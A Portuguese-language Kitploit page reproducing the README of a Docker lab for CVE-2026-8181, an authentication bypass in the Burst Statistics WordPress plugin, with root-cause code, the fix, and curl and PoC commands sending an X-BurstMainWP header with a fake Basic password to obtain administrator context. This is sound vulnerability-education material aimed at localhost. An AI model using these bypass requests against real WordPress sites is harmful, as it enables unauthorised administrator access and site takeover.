Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-8181-Lab — Laboratório Docker demonstrando o bypass de autenticação CVE-2026-8181 no plugin Burst Statistics para WordPress. Compara versões vulnerável e corrigida com um PoC de menor impacto para ilustrar a autenticação inadequada em requisições da API REST. | Kitploit
Ferramentas/GitHubGitHub/rootdirective-sec/cve-2026-8181-lab
Análise de VulnerabilidadesExploração de Aplicações WebSegurança WebCTFTestes de PenetraçãoAutenticaçãoAprendizado e EducaçãoLabs e Prática

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
rootdirective-sec/cve-2026-8181-lab

CVE-2026-8181-Lab

Laboratório Docker demonstrando o bypass de autenticação CVE-2026-8181 no plugin Burst Statistics para WordPress. Compara versões vulnerável e corrigida com um PoC de menor impacto para ilustrar a autenticação inadequada em requisições da API REST.

Ver Repositório
há 3 mesesAinda não revisado

CVE-2026-8181 — Laboratório de Bypass de Autenticação do Burst Statistics

Lab local apenas para Docker para CVE-2026-8181, um bypass de autenticação no plugin WordPress Burst Statistics – Privacy-Friendly WordPress Analytics.

Este laboratório compara uma versão vulnerável do plugin com a versão corrigida e usa um PoC de menor dano para provar a diferença sem criar usuários, fazer upload de arquivos ou modificar o estado do WordPress.

Resumo

| Plugin afetado: | Burst Statistics – Privacy-Friendly WordPress Analytics | | Versões afetadas: | 3.4.0 a 3.4.1.1 | | Versão corrigida: | 3.4.2 | | Tipo de vulnerabilidade: | Bypass de Autenticação / Autenticação Imprópria | | Impacto: | Atacante não autenticado pode se passar por administrador durante a duração de uma requisição da API REST se souber um nome de usuário administrador válido. |

Neste laboratório:

  • vuln executa Burst Statistics 3.4.1.1
  • patched executa Burst Statistics 3.4.2
  • O PoC envia uma senha falsa de Autenticação Básica com X-BurstMainWP: 1
  • O serviço vulnerável trata a requisição como administrador
  • O serviço corrigido rejeita a mesma requisição

Arquitetura do Laboratório

O serviço seed instala o WordPress, cria o administrador do laboratório e ativa o Burst Statistics em ambos os ambientes.

Nome de usuário do administrador do laboratório:

root@kitploit:~
labadmin

O PoC usa intencionalmente uma senha errada para provar o bypass.

Causa Raiz

Burst Statistics inclui um caminho de autenticação proxy relacionado ao MainWP. Quando uma requisição da API REST inclui este cabeçalho:

root@kitploit:~
X-BurstMainWP: 1

Burst delega a autenticação para MainWP_Proxy::is_mainwp_authenticated().

Na versão vulnerável, a função lê credenciais de Autenticação Básica controladas pelo atacante, extrai o nome de usuário e senha, e os passa para o núcleo do WordPress:

root@kitploit:~
$is_valid = wp_authenticate_application_password( null, $username, $password );

O bug é a verificação do valor de retorno.

Lógica Vulnerável: 3.4.1.1

Simplificado de includes/Frontend/class-mainwp-proxy.php:

root@kitploit:~
$is_valid = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $is_valid ) ) {
    return false;
}

$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
    return false;
}

wp_set_current_user( $user->ID );
return true;

O código vulnerável apenas rejeita WP_Error. No entanto, wp_authenticate_application_password() pode retornar null ou outro valor não-usuário quando a autenticação não ocorreu de fato. Como null não é um WP_Error, a verificação passa.

Depois disso, o plugin pesquisa o nome de usuário fornecido e chama:

root@kitploit:~
wp_set_current_user( $user->ID );

Isso faz com que o WordPress trate a requisição atual da API REST como aquele usuário. Se o nome de usuário pertencer a um administrador, as verificações de capacidade do WordPress veem um administrador para o restante da requisição.

Lógica da Correção

A versão corrigida conserta a verificação de autenticação ao exigir um objeto de usuário autenticado real antes de prosseguir.

Lógica Corrigida: 3.4.2

Conceitualmente, a correção é:

root@kitploit:~
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}

A mudança importante é que um valor de retorno meramente "não-erro" não é mais suficiente. O resultado da autenticação deve ser um objeto \WP_User real.

Isso bloqueia o caminho vulnerável onde null burla a antiga verificação is_wp_error().

Por Que Isso é Importante

O laboratório demonstra uma prova somente leitura usando:

root@kitploit:~
/wp/v2/users/me?context=edit

Esse endpoint é suficiente para mostrar se o WordPress considera a requisição autenticada.

O impacto no mundo real pode ser maior do que esta prova de laboratório. Se um atacante puder se passar por administrador para uma requisição da API REST, ele pode ser capaz de acessar endpoints privilegiados do WordPress. Em configurações comuns do WordPress, o acesso de administrador pode levar a uma tomada de controle persistente do site através da criação de contas, senhas de aplicativo, instalação de plugins, modificação de temas ou outras ações administrativas.

Este repositório evita intencionalmente esses caminhos destrutivos.

Executar

root@kitploit:~
docker compose up -d --build

Aguarde o serviço seed de uso único terminar:

root@kitploit:~
docker compose logs seed

Saída esperada do seed:

root@kitploit:~
[+] vuln: Burst Statistics version = 3.4.1.1
[+] patched: Burst Statistics version = 3.4.2
[+] Seed complete

Instalar dependência Python:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

Execute o PoC contra o serviço vulnerável:

root@kitploit:~
python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin

Resultado vulnerável esperado:

root@kitploit:~
=== baseline without bypass headers ===
status: 401

=== with X-BurstMainWP + fake Basic password ===
status: 200
roles: ["administrator"]

[+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.

Execute o mesmo PoC contra o serviço corrigido:

root@kitploit:~
python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin

Resultado corrigido esperado:

root@kitploit:~
=== baseline without bypass headers ===
status: 401

=== with X-BurstMainWP + fake Basic password ===
status: 401

[+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.

Teste Manual

Gere um token de Autenticação Básica falso:

root@kitploit:~
TOKEN=$(printf 'labadmin:not-the-real-password' | base64)

Serviço Vulnerável

Requisição de linha de base sem cabeçalhos de bypass:

root@kitploit:~
curl -sS -i \
  'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'

Esperado:

root@kitploit:~
HTTP/1.1 401 Unauthorized
rest_not_logged_in

Tentativa de bypass:

root@kitploit:~
curl -sS -i \
  -H 'X-BurstMainWP: 1' \
  -H "Authorization: Basic $TOKEN" \
  'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'

Esperado:

root@kitploit:~
HTTP/1.1 200 OK
"slug":"labadmin"
"roles":["administrator"]

Serviço Corrigido

Execute a mesma tentativa de bypass contra o serviço corrigido:

root@kitploit:~
curl -sS -i \
  -H 'X-BurstMainWP: 1' \
  -H "Authorization: Basic $TOKEN" \
  'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'

Esperado:

root@kitploit:~
HTTP/1.1 401 Unauthorized
rest_not_logged_in

Evidência do Lado do Servidor

O serviço vulnerável mostra a mudança de comportamento claramente:

root@kitploit:~
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 200

O serviço corrigido rejeita tanto tentativas não autenticadas quanto de bypass:

root@kitploit:~
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 401

Notas de Segurança

Este PoC é intencionalmente de menor dano:

  • Nenhuma criação de conta de administrador
  • Nenhuma criação de senha de aplicativo
  • Nenhum upload de plugin
  • Nenhuma modificação de tema
  • Nenhuma execução de comando
  • Nenhuma mudança de estado persistente
  • Proteção apenas localhost no script PoC

Use este laboratório apenas em seu próprio ambiente Docker local.

Referências

  • NVD — CVE-2026-8181: https://nvd.nist.gov/vuln/detail/CVE-2026-8181
  • Análise técnica do Wordfence: https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/
  • Referência da fonte vulnerável, Burst Statistics 3.4.1.1: https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php
  • Referência da fonte corrigida, Burst Statistics trunk / caminho 3.4.2: https://plugins.trac.wordpress.org/browser/burst-statistics/trunk/includes/Frontend/class-mainwp-proxy.php
  • Ponto de entrada do helper de administrador: https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Traits/trait-admin-helper.php
Baixar ferramenta
ServiçoDescriçãoURL
vulnWordPress + Burst Statistics 3.4.1.1http://127.0.0.1:8081
patchedWordPress + Burst Statistics 3.4.2http://127.0.0.1:8082
db_vulnMySQL para WordPress vulnerávelApenas interno
db_patchedMySQL para WordPress corrigidoApenas interno
seedContainer de configuração WP-CLI de uso únicoApenas interno